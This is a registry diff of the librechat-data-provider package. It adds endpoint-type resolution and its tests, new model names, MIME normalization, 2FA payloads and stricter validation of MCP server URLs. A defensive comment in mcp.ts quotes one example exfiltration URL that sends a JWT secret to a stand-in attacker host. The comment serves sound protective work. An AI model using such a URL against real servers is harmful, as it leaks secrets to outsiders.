librechat-data-provider 0.8.301 → 0.8.400
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/index.es.js +1 -1
- package/dist/index.es.js.map +1 -1
- package/dist/index.js +1 -1
- package/dist/index.js.map +1 -1
- package/dist/react-query/index.es.js +1 -1
- package/dist/react-query/index.es.js.map +1 -1
- package/jest.config.js +1 -0
- package/package.json +1 -1
- package/specs/api-endpoints-subdir.spec.ts +140 -0
- package/specs/api-endpoints.spec.ts +13 -25
- package/specs/mcp.spec.ts +147 -0
- package/specs/request-interceptor.spec.ts +7 -2
- package/specs/utils.spec.ts +71 -4
- package/src/accessPermissions.ts +4 -4
- package/src/api-endpoints.ts +11 -4
- package/src/config.spec.ts +315 -0
- package/src/config.ts +44 -3
- package/src/data-service.ts +8 -6
- package/src/file-config.spec.ts +39 -2
- package/src/file-config.ts +11 -5
- package/src/mcp.ts +32 -3
- package/src/request.ts +1 -1
- package/src/types.ts +18 -25
- package/src/utils.ts +30 -7
|
@@ -0,0 +1,315 @@
|
|
|
1
|
+
import type { TEndpointsConfig } from './types';
|
|
2
|
+
import { EModelEndpoint, isDocumentSupportedProvider } from './schemas';
|
|
3
|
+
import { getEndpointFileConfig, mergeFileConfig } from './file-config';
|
|
4
|
+
import { resolveEndpointType } from './config';
|
|
5
|
+
|
|
6
|
+
const endpointsConfig: TEndpointsConfig = {
|
|
7
|
+
[EModelEndpoint.openAI]: { userProvide: false, order: 0 },
|
|
8
|
+
[EModelEndpoint.agents]: { userProvide: false, order: 1 },
|
|
9
|
+
[EModelEndpoint.anthropic]: { userProvide: false, order: 6 },
|
|
10
|
+
[EModelEndpoint.bedrock]: { userProvide: false, order: 7 },
|
|
11
|
+
Moonshot: { type: EModelEndpoint.custom, userProvide: false, order: 9999 },
|
|
12
|
+
'Some Endpoint': { type: EModelEndpoint.custom, userProvide: false, order: 9999 },
|
|
13
|
+
Gemini: { type: EModelEndpoint.custom, userProvide: false, order: 9999 },
|
|
14
|
+
};
|
|
15
|
+
|
|
16
|
+
describe('resolveEndpointType', () => {
|
|
17
|
+
describe('non-agents endpoints', () => {
|
|
18
|
+
it('returns the config type for a custom endpoint', () => {
|
|
19
|
+
expect(resolveEndpointType(endpointsConfig, 'Moonshot')).toBe(EModelEndpoint.custom);
|
|
20
|
+
});
|
|
21
|
+
|
|
22
|
+
it('returns the config type for a custom endpoint with spaces', () => {
|
|
23
|
+
expect(resolveEndpointType(endpointsConfig, 'Some Endpoint')).toBe(EModelEndpoint.custom);
|
|
24
|
+
});
|
|
25
|
+
|
|
26
|
+
it('returns the endpoint itself for a standard endpoint without a type field', () => {
|
|
27
|
+
expect(resolveEndpointType(endpointsConfig, EModelEndpoint.openAI)).toBe(
|
|
28
|
+
EModelEndpoint.openAI,
|
|
29
|
+
);
|
|
30
|
+
});
|
|
31
|
+
|
|
32
|
+
it('returns the endpoint itself for anthropic', () => {
|
|
33
|
+
expect(resolveEndpointType(endpointsConfig, EModelEndpoint.anthropic)).toBe(
|
|
34
|
+
EModelEndpoint.anthropic,
|
|
35
|
+
);
|
|
36
|
+
});
|
|
37
|
+
|
|
38
|
+
it('ignores agentProvider when endpoint is not agents', () => {
|
|
39
|
+
expect(resolveEndpointType(endpointsConfig, EModelEndpoint.openAI, 'Moonshot')).toBe(
|
|
40
|
+
EModelEndpoint.openAI,
|
|
41
|
+
);
|
|
42
|
+
});
|
|
43
|
+
});
|
|
44
|
+
|
|
45
|
+
describe('agents endpoint with provider', () => {
|
|
46
|
+
it('resolves to custom for a custom agent provider', () => {
|
|
47
|
+
expect(resolveEndpointType(endpointsConfig, EModelEndpoint.agents, 'Moonshot')).toBe(
|
|
48
|
+
EModelEndpoint.custom,
|
|
49
|
+
);
|
|
50
|
+
});
|
|
51
|
+
|
|
52
|
+
it('resolves to custom for a custom agent provider with spaces', () => {
|
|
53
|
+
expect(resolveEndpointType(endpointsConfig, EModelEndpoint.agents, 'Some Endpoint')).toBe(
|
|
54
|
+
EModelEndpoint.custom,
|
|
55
|
+
);
|
|
56
|
+
});
|
|
57
|
+
|
|
58
|
+
it('returns the provider itself for a standard agent provider (no type field)', () => {
|
|
59
|
+
expect(
|
|
60
|
+
resolveEndpointType(endpointsConfig, EModelEndpoint.agents, EModelEndpoint.openAI),
|
|
61
|
+
).toBe(EModelEndpoint.openAI);
|
|
62
|
+
});
|
|
63
|
+
|
|
64
|
+
it('returns bedrock for a bedrock agent provider', () => {
|
|
65
|
+
expect(
|
|
66
|
+
resolveEndpointType(endpointsConfig, EModelEndpoint.agents, EModelEndpoint.bedrock),
|
|
67
|
+
).toBe(EModelEndpoint.bedrock);
|
|
68
|
+
});
|
|
69
|
+
|
|
70
|
+
it('returns the provider name when provider is not in endpointsConfig', () => {
|
|
71
|
+
expect(resolveEndpointType(endpointsConfig, EModelEndpoint.agents, 'UnknownProvider')).toBe(
|
|
72
|
+
'UnknownProvider',
|
|
73
|
+
);
|
|
74
|
+
});
|
|
75
|
+
});
|
|
76
|
+
|
|
77
|
+
describe('agents endpoint without provider', () => {
|
|
78
|
+
it('falls back to agents when no provider', () => {
|
|
79
|
+
expect(resolveEndpointType(endpointsConfig, EModelEndpoint.agents)).toBe(
|
|
80
|
+
EModelEndpoint.agents,
|
|
81
|
+
);
|
|
82
|
+
});
|
|
83
|
+
|
|
84
|
+
it('falls back to agents when provider is null', () => {
|
|
85
|
+
expect(resolveEndpointType(endpointsConfig, EModelEndpoint.agents, null)).toBe(
|
|
86
|
+
EModelEndpoint.agents,
|
|
87
|
+
);
|
|
88
|
+
});
|
|
89
|
+
|
|
90
|
+
it('falls back to agents when provider is undefined', () => {
|
|
91
|
+
expect(resolveEndpointType(endpointsConfig, EModelEndpoint.agents, undefined)).toBe(
|
|
92
|
+
EModelEndpoint.agents,
|
|
93
|
+
);
|
|
94
|
+
});
|
|
95
|
+
});
|
|
96
|
+
|
|
97
|
+
describe('edge cases', () => {
|
|
98
|
+
it('returns undefined for null endpoint', () => {
|
|
99
|
+
expect(resolveEndpointType(endpointsConfig, null)).toBeUndefined();
|
|
100
|
+
});
|
|
101
|
+
|
|
102
|
+
it('returns undefined for undefined endpoint', () => {
|
|
103
|
+
expect(resolveEndpointType(endpointsConfig, undefined)).toBeUndefined();
|
|
104
|
+
});
|
|
105
|
+
|
|
106
|
+
it('handles null endpointsConfig', () => {
|
|
107
|
+
expect(resolveEndpointType(null, EModelEndpoint.agents, 'Moonshot')).toBe('Moonshot');
|
|
108
|
+
});
|
|
109
|
+
|
|
110
|
+
it('handles undefined endpointsConfig', () => {
|
|
111
|
+
expect(resolveEndpointType(undefined, 'Moonshot')).toBe('Moonshot');
|
|
112
|
+
});
|
|
113
|
+
});
|
|
114
|
+
});
|
|
115
|
+
|
|
116
|
+
describe('resolveEndpointType + getEndpointFileConfig integration', () => {
|
|
117
|
+
const fileConfig = mergeFileConfig({
|
|
118
|
+
endpoints: {
|
|
119
|
+
Moonshot: { fileLimit: 5 },
|
|
120
|
+
[EModelEndpoint.agents]: { fileLimit: 20 },
|
|
121
|
+
default: { fileLimit: 10 },
|
|
122
|
+
},
|
|
123
|
+
});
|
|
124
|
+
|
|
125
|
+
it('agent with Moonshot provider uses Moonshot-specific config', () => {
|
|
126
|
+
const endpointType = resolveEndpointType(endpointsConfig, EModelEndpoint.agents, 'Moonshot');
|
|
127
|
+
const config = getEndpointFileConfig({
|
|
128
|
+
fileConfig,
|
|
129
|
+
endpointType,
|
|
130
|
+
endpoint: 'Moonshot',
|
|
131
|
+
});
|
|
132
|
+
expect(config.fileLimit).toBe(5);
|
|
133
|
+
});
|
|
134
|
+
|
|
135
|
+
it('agent with provider not in fileConfig falls back through custom → agents', () => {
|
|
136
|
+
const endpointType = resolveEndpointType(endpointsConfig, EModelEndpoint.agents, 'Gemini');
|
|
137
|
+
const config = getEndpointFileConfig({
|
|
138
|
+
fileConfig,
|
|
139
|
+
endpointType,
|
|
140
|
+
endpoint: 'Gemini',
|
|
141
|
+
});
|
|
142
|
+
expect(config.fileLimit).toBe(20);
|
|
143
|
+
});
|
|
144
|
+
|
|
145
|
+
it('agent without provider falls back to agents config', () => {
|
|
146
|
+
const endpointType = resolveEndpointType(endpointsConfig, EModelEndpoint.agents);
|
|
147
|
+
const config = getEndpointFileConfig({
|
|
148
|
+
fileConfig,
|
|
149
|
+
endpointType,
|
|
150
|
+
endpoint: EModelEndpoint.agents,
|
|
151
|
+
});
|
|
152
|
+
expect(config.fileLimit).toBe(20);
|
|
153
|
+
});
|
|
154
|
+
|
|
155
|
+
it('custom fallback is used when present and provider has no specific config', () => {
|
|
156
|
+
const fileConfigWithCustom = mergeFileConfig({
|
|
157
|
+
endpoints: {
|
|
158
|
+
custom: { fileLimit: 15 },
|
|
159
|
+
[EModelEndpoint.agents]: { fileLimit: 20 },
|
|
160
|
+
default: { fileLimit: 10 },
|
|
161
|
+
},
|
|
162
|
+
});
|
|
163
|
+
const endpointType = resolveEndpointType(endpointsConfig, EModelEndpoint.agents, 'Gemini');
|
|
164
|
+
const config = getEndpointFileConfig({
|
|
165
|
+
fileConfig: fileConfigWithCustom,
|
|
166
|
+
endpointType,
|
|
167
|
+
endpoint: 'Gemini',
|
|
168
|
+
});
|
|
169
|
+
expect(config.fileLimit).toBe(15);
|
|
170
|
+
});
|
|
171
|
+
|
|
172
|
+
it('non-agents custom endpoint uses its specific config directly', () => {
|
|
173
|
+
const endpointType = resolveEndpointType(endpointsConfig, 'Moonshot');
|
|
174
|
+
const config = getEndpointFileConfig({
|
|
175
|
+
fileConfig,
|
|
176
|
+
endpointType,
|
|
177
|
+
endpoint: 'Moonshot',
|
|
178
|
+
});
|
|
179
|
+
expect(config.fileLimit).toBe(5);
|
|
180
|
+
});
|
|
181
|
+
|
|
182
|
+
it('non-agents standard endpoint falls back to default when no specific config', () => {
|
|
183
|
+
const endpointType = resolveEndpointType(endpointsConfig, EModelEndpoint.openAI);
|
|
184
|
+
const config = getEndpointFileConfig({
|
|
185
|
+
fileConfig,
|
|
186
|
+
endpointType,
|
|
187
|
+
endpoint: EModelEndpoint.openAI,
|
|
188
|
+
});
|
|
189
|
+
expect(config.fileLimit).toBe(10);
|
|
190
|
+
});
|
|
191
|
+
});
|
|
192
|
+
|
|
193
|
+
describe('resolveEndpointType + isDocumentSupportedProvider (upload menu)', () => {
|
|
194
|
+
it('agent with custom provider shows "Upload to Provider" (custom is document-supported)', () => {
|
|
195
|
+
const endpointType = resolveEndpointType(endpointsConfig, EModelEndpoint.agents, 'Moonshot');
|
|
196
|
+
expect(isDocumentSupportedProvider(endpointType)).toBe(true);
|
|
197
|
+
});
|
|
198
|
+
|
|
199
|
+
it('agent with custom provider with spaces shows "Upload to Provider"', () => {
|
|
200
|
+
const endpointType = resolveEndpointType(
|
|
201
|
+
endpointsConfig,
|
|
202
|
+
EModelEndpoint.agents,
|
|
203
|
+
'Some Endpoint',
|
|
204
|
+
);
|
|
205
|
+
expect(isDocumentSupportedProvider(endpointType)).toBe(true);
|
|
206
|
+
});
|
|
207
|
+
|
|
208
|
+
it('agent without provider falls back to agents (not document-supported)', () => {
|
|
209
|
+
const endpointType = resolveEndpointType(endpointsConfig, EModelEndpoint.agents);
|
|
210
|
+
expect(isDocumentSupportedProvider(endpointType)).toBe(false);
|
|
211
|
+
});
|
|
212
|
+
|
|
213
|
+
it('agent with openAI provider is document-supported', () => {
|
|
214
|
+
const endpointType = resolveEndpointType(
|
|
215
|
+
endpointsConfig,
|
|
216
|
+
EModelEndpoint.agents,
|
|
217
|
+
EModelEndpoint.openAI,
|
|
218
|
+
);
|
|
219
|
+
expect(isDocumentSupportedProvider(endpointType)).toBe(true);
|
|
220
|
+
});
|
|
221
|
+
|
|
222
|
+
it('agent with anthropic provider is document-supported', () => {
|
|
223
|
+
const endpointType = resolveEndpointType(
|
|
224
|
+
endpointsConfig,
|
|
225
|
+
EModelEndpoint.agents,
|
|
226
|
+
EModelEndpoint.anthropic,
|
|
227
|
+
);
|
|
228
|
+
expect(isDocumentSupportedProvider(endpointType)).toBe(true);
|
|
229
|
+
});
|
|
230
|
+
|
|
231
|
+
it('agent with bedrock provider is document-supported', () => {
|
|
232
|
+
const endpointType = resolveEndpointType(
|
|
233
|
+
endpointsConfig,
|
|
234
|
+
EModelEndpoint.agents,
|
|
235
|
+
EModelEndpoint.bedrock,
|
|
236
|
+
);
|
|
237
|
+
expect(isDocumentSupportedProvider(endpointType)).toBe(true);
|
|
238
|
+
});
|
|
239
|
+
|
|
240
|
+
it('direct custom endpoint (not agents) is document-supported', () => {
|
|
241
|
+
const endpointType = resolveEndpointType(endpointsConfig, 'Moonshot');
|
|
242
|
+
expect(isDocumentSupportedProvider(endpointType)).toBe(true);
|
|
243
|
+
});
|
|
244
|
+
|
|
245
|
+
it('direct standard endpoint is document-supported', () => {
|
|
246
|
+
const endpointType = resolveEndpointType(endpointsConfig, EModelEndpoint.openAI);
|
|
247
|
+
expect(isDocumentSupportedProvider(endpointType)).toBe(true);
|
|
248
|
+
});
|
|
249
|
+
|
|
250
|
+
it('agent with unknown provider not in endpointsConfig is not document-supported', () => {
|
|
251
|
+
const endpointType = resolveEndpointType(
|
|
252
|
+
endpointsConfig,
|
|
253
|
+
EModelEndpoint.agents,
|
|
254
|
+
'UnknownProvider',
|
|
255
|
+
);
|
|
256
|
+
expect(isDocumentSupportedProvider(endpointType)).toBe(false);
|
|
257
|
+
});
|
|
258
|
+
|
|
259
|
+
it('same custom endpoint shows same result whether used directly or through agents', () => {
|
|
260
|
+
const directType = resolveEndpointType(endpointsConfig, 'Moonshot');
|
|
261
|
+
const agentType = resolveEndpointType(endpointsConfig, EModelEndpoint.agents, 'Moonshot');
|
|
262
|
+
expect(isDocumentSupportedProvider(directType)).toBe(isDocumentSupportedProvider(agentType));
|
|
263
|
+
});
|
|
264
|
+
});
|
|
265
|
+
|
|
266
|
+
describe('any custom endpoint is document-supported regardless of name', () => {
|
|
267
|
+
const arbitraryNames = [
|
|
268
|
+
'My LLM Gateway',
|
|
269
|
+
'company-internal-api',
|
|
270
|
+
'LiteLLM Proxy',
|
|
271
|
+
'test_endpoint_123',
|
|
272
|
+
'AI Studio',
|
|
273
|
+
'ACME Corp',
|
|
274
|
+
'localhost:8080',
|
|
275
|
+
];
|
|
276
|
+
|
|
277
|
+
const configWithArbitraryEndpoints: TEndpointsConfig = {
|
|
278
|
+
[EModelEndpoint.agents]: { userProvide: false, order: 1 },
|
|
279
|
+
...Object.fromEntries(
|
|
280
|
+
arbitraryNames.map((name) => [
|
|
281
|
+
name,
|
|
282
|
+
{ type: EModelEndpoint.custom, userProvide: false, order: 9999 },
|
|
283
|
+
]),
|
|
284
|
+
),
|
|
285
|
+
};
|
|
286
|
+
|
|
287
|
+
it.each(arbitraryNames)('direct custom endpoint "%s" is document-supported', (name) => {
|
|
288
|
+
const endpointType = resolveEndpointType(configWithArbitraryEndpoints, name);
|
|
289
|
+
expect(endpointType).toBe(EModelEndpoint.custom);
|
|
290
|
+
expect(isDocumentSupportedProvider(endpointType)).toBe(true);
|
|
291
|
+
});
|
|
292
|
+
|
|
293
|
+
it.each(arbitraryNames)('agent with custom provider "%s" is document-supported', (name) => {
|
|
294
|
+
const endpointType = resolveEndpointType(
|
|
295
|
+
configWithArbitraryEndpoints,
|
|
296
|
+
EModelEndpoint.agents,
|
|
297
|
+
name,
|
|
298
|
+
);
|
|
299
|
+
expect(endpointType).toBe(EModelEndpoint.custom);
|
|
300
|
+
expect(isDocumentSupportedProvider(endpointType)).toBe(true);
|
|
301
|
+
});
|
|
302
|
+
|
|
303
|
+
it.each(arbitraryNames)(
|
|
304
|
+
'"%s" resolves the same whether used directly or through an agent',
|
|
305
|
+
(name) => {
|
|
306
|
+
const directType = resolveEndpointType(configWithArbitraryEndpoints, name);
|
|
307
|
+
const agentType = resolveEndpointType(
|
|
308
|
+
configWithArbitraryEndpoints,
|
|
309
|
+
EModelEndpoint.agents,
|
|
310
|
+
name,
|
|
311
|
+
);
|
|
312
|
+
expect(directType).toBe(agentType);
|
|
313
|
+
},
|
|
314
|
+
);
|
|
315
|
+
});
|
package/src/config.ts
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
import { z } from 'zod';
|
|
2
2
|
import type { ZodError } from 'zod';
|
|
3
3
|
import type { TEndpointsConfig, TModelsConfig, TConfig } from './types';
|
|
4
|
-
import { EModelEndpoint, eModelEndpointSchema } from './schemas';
|
|
4
|
+
import { EModelEndpoint, eModelEndpointSchema, isAgentsEndpoint } from './schemas';
|
|
5
5
|
import { specsConfigSchema, TSpecsConfig } from './models';
|
|
6
6
|
import { fileConfigSchema } from './file-config';
|
|
7
7
|
import { apiBaseUrl } from './api-endpoints';
|
|
@@ -1101,6 +1101,10 @@ export const alternateName = {
|
|
|
1101
1101
|
};
|
|
1102
1102
|
|
|
1103
1103
|
const sharedOpenAIModels = [
|
|
1104
|
+
'gpt-5.4',
|
|
1105
|
+
// TODO: gpt-5.4-thinking may have separate reasoning token pricing — verify before release
|
|
1106
|
+
'gpt-5.4-thinking',
|
|
1107
|
+
'gpt-5.4-pro',
|
|
1104
1108
|
'gpt-5.1',
|
|
1105
1109
|
'gpt-5.1-chat-latest',
|
|
1106
1110
|
'gpt-5.1-codex',
|
|
@@ -1276,6 +1280,7 @@ export const visionModels = [
|
|
|
1276
1280
|
'o4-mini',
|
|
1277
1281
|
'o3',
|
|
1278
1282
|
'o1',
|
|
1283
|
+
'gpt-5',
|
|
1279
1284
|
'gpt-4.1',
|
|
1280
1285
|
'gpt-4.5',
|
|
1281
1286
|
'llava',
|
|
@@ -1555,6 +1560,10 @@ export enum ErrorTypes {
|
|
|
1555
1560
|
* No Base URL Provided.
|
|
1556
1561
|
*/
|
|
1557
1562
|
NO_BASE_URL = 'no_base_url',
|
|
1563
|
+
/**
|
|
1564
|
+
* Base URL targets a restricted or invalid address (SSRF protection).
|
|
1565
|
+
*/
|
|
1566
|
+
INVALID_BASE_URL = 'invalid_base_url',
|
|
1558
1567
|
/**
|
|
1559
1568
|
* Moderation error
|
|
1560
1569
|
*/
|
|
@@ -1731,9 +1740,9 @@ export enum TTSProviders {
|
|
|
1731
1740
|
/** Enum for app-wide constants */
|
|
1732
1741
|
export enum Constants {
|
|
1733
1742
|
/** Key for the app's version. */
|
|
1734
|
-
VERSION = 'v0.8.
|
|
1743
|
+
VERSION = 'v0.8.4-rc1',
|
|
1735
1744
|
/** Key for the Custom Config's version (librechat.yaml). */
|
|
1736
|
-
CONFIG_VERSION = '1.3.
|
|
1745
|
+
CONFIG_VERSION = '1.3.6',
|
|
1737
1746
|
/** Standard value for the first message's `parentMessageId` value, to indicate no parent exists. */
|
|
1738
1747
|
NO_PARENT = '00000000-0000-0000-0000-000000000000',
|
|
1739
1748
|
/** Standard value to use whatever the submission prelim. `responseMessageId` is */
|
|
@@ -1921,6 +1930,38 @@ export function getEndpointField<
|
|
|
1921
1930
|
return config[property];
|
|
1922
1931
|
}
|
|
1923
1932
|
|
|
1933
|
+
/**
|
|
1934
|
+
* Resolves the effective endpoint type:
|
|
1935
|
+
* - Non-agents endpoint: config.type || endpoint
|
|
1936
|
+
* - Agents + provider: config[provider].type || provider
|
|
1937
|
+
* - Agents, no provider: EModelEndpoint.agents
|
|
1938
|
+
*
|
|
1939
|
+
* Returns `undefined` when endpoint is null/undefined.
|
|
1940
|
+
*/
|
|
1941
|
+
export function resolveEndpointType(
|
|
1942
|
+
endpointsConfig: TEndpointsConfig | undefined | null,
|
|
1943
|
+
endpoint: string | null | undefined,
|
|
1944
|
+
agentProvider?: string | null,
|
|
1945
|
+
): EModelEndpoint | string | undefined {
|
|
1946
|
+
if (!endpoint) {
|
|
1947
|
+
return undefined;
|
|
1948
|
+
}
|
|
1949
|
+
|
|
1950
|
+
if (!isAgentsEndpoint(endpoint)) {
|
|
1951
|
+
return getEndpointField(endpointsConfig, endpoint, 'type') || endpoint;
|
|
1952
|
+
}
|
|
1953
|
+
|
|
1954
|
+
if (agentProvider) {
|
|
1955
|
+
const providerType = getEndpointField(endpointsConfig, agentProvider, 'type');
|
|
1956
|
+
if (providerType) {
|
|
1957
|
+
return providerType;
|
|
1958
|
+
}
|
|
1959
|
+
return agentProvider;
|
|
1960
|
+
}
|
|
1961
|
+
|
|
1962
|
+
return EModelEndpoint.agents;
|
|
1963
|
+
}
|
|
1964
|
+
|
|
1924
1965
|
/** Resolves the `defaultParamsEndpoint` for a given endpoint from its custom params config */
|
|
1925
1966
|
export function getDefaultParamsEndpoint(
|
|
1926
1967
|
endpointsConfig: TEndpointsConfig | undefined | null,
|
package/src/data-service.ts
CHANGED
|
@@ -21,8 +21,8 @@ export function revokeAllUserKeys(): Promise<unknown> {
|
|
|
21
21
|
return request.delete(endpoints.revokeAllUserKeys());
|
|
22
22
|
}
|
|
23
23
|
|
|
24
|
-
export function deleteUser(): Promise<
|
|
25
|
-
return request.
|
|
24
|
+
export function deleteUser(payload?: t.TDeleteUserRequest): Promise<unknown> {
|
|
25
|
+
return request.deleteWithOptions(endpoints.deleteUser(), { data: payload });
|
|
26
26
|
}
|
|
27
27
|
|
|
28
28
|
export type FavoriteItem = {
|
|
@@ -970,8 +970,8 @@ export function updateFeedback(
|
|
|
970
970
|
}
|
|
971
971
|
|
|
972
972
|
// 2FA
|
|
973
|
-
export function enableTwoFactor(): Promise<t.TEnable2FAResponse> {
|
|
974
|
-
return request.
|
|
973
|
+
export function enableTwoFactor(payload?: t.TEnable2FARequest): Promise<t.TEnable2FAResponse> {
|
|
974
|
+
return request.post(endpoints.enableTwoFactor(), payload);
|
|
975
975
|
}
|
|
976
976
|
|
|
977
977
|
export function verifyTwoFactor(payload: t.TVerify2FARequest): Promise<t.TVerify2FAResponse> {
|
|
@@ -986,8 +986,10 @@ export function disableTwoFactor(payload?: t.TDisable2FARequest): Promise<t.TDis
|
|
|
986
986
|
return request.post(endpoints.disableTwoFactor(), payload);
|
|
987
987
|
}
|
|
988
988
|
|
|
989
|
-
export function regenerateBackupCodes(
|
|
990
|
-
|
|
989
|
+
export function regenerateBackupCodes(
|
|
990
|
+
payload?: t.TRegenerateBackupCodesRequest,
|
|
991
|
+
): Promise<t.TRegenerateBackupCodesResponse> {
|
|
992
|
+
return request.post(endpoints.regenerateBackupCodes(), payload);
|
|
991
993
|
}
|
|
992
994
|
|
|
993
995
|
export function verifyTwoFactorTemp(
|
package/src/file-config.spec.ts
CHANGED
|
@@ -1,15 +1,52 @@
|
|
|
1
1
|
import type { FileConfig } from './types/files';
|
|
2
2
|
import {
|
|
3
3
|
fileConfig as baseFileConfig,
|
|
4
|
+
documentParserMimeTypes,
|
|
4
5
|
getEndpointFileConfig,
|
|
5
|
-
mergeFileConfig,
|
|
6
6
|
applicationMimeTypes,
|
|
7
7
|
defaultOCRMimeTypes,
|
|
8
|
-
documentParserMimeTypes,
|
|
9
8
|
supportedMimeTypes,
|
|
9
|
+
mergeFileConfig,
|
|
10
|
+
inferMimeType,
|
|
11
|
+
textMimeTypes,
|
|
10
12
|
} from './file-config';
|
|
11
13
|
import { EModelEndpoint } from './schemas';
|
|
12
14
|
|
|
15
|
+
describe('inferMimeType', () => {
|
|
16
|
+
it('should normalize text/x-python-script to text/x-python', () => {
|
|
17
|
+
expect(inferMimeType('test.py', 'text/x-python-script')).toBe('text/x-python');
|
|
18
|
+
});
|
|
19
|
+
|
|
20
|
+
it('should return a type that matches textMimeTypes after normalization', () => {
|
|
21
|
+
const normalized = inferMimeType('test.py', 'text/x-python-script');
|
|
22
|
+
expect(textMimeTypes.test(normalized)).toBe(true);
|
|
23
|
+
});
|
|
24
|
+
|
|
25
|
+
it('should pass through standard browser types unchanged', () => {
|
|
26
|
+
expect(inferMimeType('test.py', 'text/x-python')).toBe('text/x-python');
|
|
27
|
+
expect(inferMimeType('doc.pdf', 'application/pdf')).toBe('application/pdf');
|
|
28
|
+
});
|
|
29
|
+
|
|
30
|
+
it('should infer from extension when browser type is empty', () => {
|
|
31
|
+
expect(inferMimeType('test.py', '')).toBe('text/x-python');
|
|
32
|
+
expect(inferMimeType('code.js', '')).toBe('text/javascript');
|
|
33
|
+
expect(inferMimeType('photo.heic', '')).toBe('image/heic');
|
|
34
|
+
});
|
|
35
|
+
|
|
36
|
+
it('should return empty string for unknown extension with no browser type', () => {
|
|
37
|
+
expect(inferMimeType('file.xyz', '')).toBe('');
|
|
38
|
+
});
|
|
39
|
+
|
|
40
|
+
it('should produce a type accepted by checkType after normalizing text/x-python-script', () => {
|
|
41
|
+
const normalized = inferMimeType('test.py', 'text/x-python-script');
|
|
42
|
+
expect(baseFileConfig.checkType(normalized)).toBe(true);
|
|
43
|
+
});
|
|
44
|
+
|
|
45
|
+
it('should reject raw text/x-python-script without normalization', () => {
|
|
46
|
+
expect(baseFileConfig.checkType('text/x-python-script')).toBe(false);
|
|
47
|
+
});
|
|
48
|
+
});
|
|
49
|
+
|
|
13
50
|
describe('applicationMimeTypes', () => {
|
|
14
51
|
const odfTypes = [
|
|
15
52
|
'application/vnd.oasis.opendocument.text',
|
package/src/file-config.ts
CHANGED
|
@@ -357,15 +357,21 @@ export const imageTypeMapping: { [key: string]: string } = {
|
|
|
357
357
|
heif: 'image/heif',
|
|
358
358
|
};
|
|
359
359
|
|
|
360
|
+
/** Normalizes non-standard MIME types that browsers may report to their canonical forms */
|
|
361
|
+
export const mimeTypeAliases: Readonly<Record<string, string>> = {
|
|
362
|
+
'text/x-python-script': 'text/x-python',
|
|
363
|
+
};
|
|
364
|
+
|
|
360
365
|
/**
|
|
361
|
-
* Infers the MIME type from a file's extension when the browser doesn't recognize it
|
|
362
|
-
*
|
|
363
|
-
* @param
|
|
364
|
-
* @
|
|
366
|
+
* Infers the MIME type from a file's extension when the browser doesn't recognize it,
|
|
367
|
+
* and normalizes known non-standard MIME type aliases to their canonical forms.
|
|
368
|
+
* @param fileName - The file name including its extension
|
|
369
|
+
* @param currentType - The MIME type reported by the browser (may be empty string)
|
|
370
|
+
* @returns The normalized or inferred MIME type; empty string if unresolvable
|
|
365
371
|
*/
|
|
366
372
|
export function inferMimeType(fileName: string, currentType: string): string {
|
|
367
373
|
if (currentType) {
|
|
368
|
-
return currentType;
|
|
374
|
+
return mimeTypeAliases[currentType] ?? currentType;
|
|
369
375
|
}
|
|
370
376
|
|
|
371
377
|
const extension = fileName.split('.').pop()?.toLowerCase() ?? '';
|
package/src/mcp.ts
CHANGED
|
@@ -223,6 +223,23 @@ const omitServerManagedFields = <T extends z.ZodObject<z.ZodRawShape>>(schema: T
|
|
|
223
223
|
oauth_headers: true,
|
|
224
224
|
});
|
|
225
225
|
|
|
226
|
+
const envVarPattern = /\$\{[^}]+\}/;
|
|
227
|
+
const isWsProtocol = (val: string): boolean => /^wss?:/i.test(val);
|
|
228
|
+
const isHttpProtocol = (val: string): boolean => /^https?:/i.test(val);
|
|
229
|
+
|
|
230
|
+
/**
|
|
231
|
+
* Builds a URL schema for user input that rejects ${VAR} env variable patterns
|
|
232
|
+
* and validates protocol constraints without resolving environment variables.
|
|
233
|
+
*/
|
|
234
|
+
const userUrlSchema = (protocolCheck: (val: string) => boolean, message: string) =>
|
|
235
|
+
z
|
|
236
|
+
.string()
|
|
237
|
+
.refine((val) => !envVarPattern.test(val), {
|
|
238
|
+
message: 'Environment variable references are not allowed in URLs',
|
|
239
|
+
})
|
|
240
|
+
.pipe(z.string().url())
|
|
241
|
+
.refine(protocolCheck, { message });
|
|
242
|
+
|
|
226
243
|
/**
|
|
227
244
|
* MCP Server configuration that comes from UI/API input only.
|
|
228
245
|
* Omits server-managed fields like startup, timeout, customUserVars, etc.
|
|
@@ -232,11 +249,23 @@ const omitServerManagedFields = <T extends z.ZodObject<z.ZodRawShape>>(schema: T
|
|
|
232
249
|
* Stdio allows arbitrary command execution and should only be configured
|
|
233
250
|
* by administrators via the YAML config file (librechat.yaml).
|
|
234
251
|
* Only remote transports (SSE, HTTP, WebSocket) are allowed via the API.
|
|
252
|
+
*
|
|
253
|
+
* SECURITY: URL fields use userUrlSchema instead of the admin schemas'
|
|
254
|
+
* extractEnvVariable transform to prevent env variable exfiltration
|
|
255
|
+
* through user-controlled URLs (e.g. http://attacker.com/?k=${JWT_SECRET}).
|
|
256
|
+
* Protocol checks use positive allowlists (http(s) / ws(s)) to block
|
|
257
|
+
* file://, ftp://, javascript:, and other non-network schemes.
|
|
235
258
|
*/
|
|
236
259
|
export const MCPServerUserInputSchema = z.union([
|
|
237
|
-
omitServerManagedFields(WebSocketOptionsSchema)
|
|
238
|
-
|
|
239
|
-
|
|
260
|
+
omitServerManagedFields(WebSocketOptionsSchema).extend({
|
|
261
|
+
url: userUrlSchema(isWsProtocol, 'WebSocket URL must use ws:// or wss://'),
|
|
262
|
+
}),
|
|
263
|
+
omitServerManagedFields(SSEOptionsSchema).extend({
|
|
264
|
+
url: userUrlSchema(isHttpProtocol, 'SSE URL must use http:// or https://'),
|
|
265
|
+
}),
|
|
266
|
+
omitServerManagedFields(StreamableHTTPOptionsSchema).extend({
|
|
267
|
+
url: userUrlSchema(isHttpProtocol, 'Streamable HTTP URL must use http:// or https://'),
|
|
268
|
+
}),
|
|
240
269
|
]);
|
|
241
270
|
|
|
242
271
|
export type MCPServerUserInput = z.infer<typeof MCPServerUserInputSchema>;
|
package/src/request.ts
CHANGED
|
@@ -141,7 +141,7 @@ if (typeof window !== 'undefined') {
|
|
|
141
141
|
return await axios(originalRequest);
|
|
142
142
|
} else {
|
|
143
143
|
processQueue(error, null);
|
|
144
|
-
window.location.href = endpoints.buildLoginRedirectUrl();
|
|
144
|
+
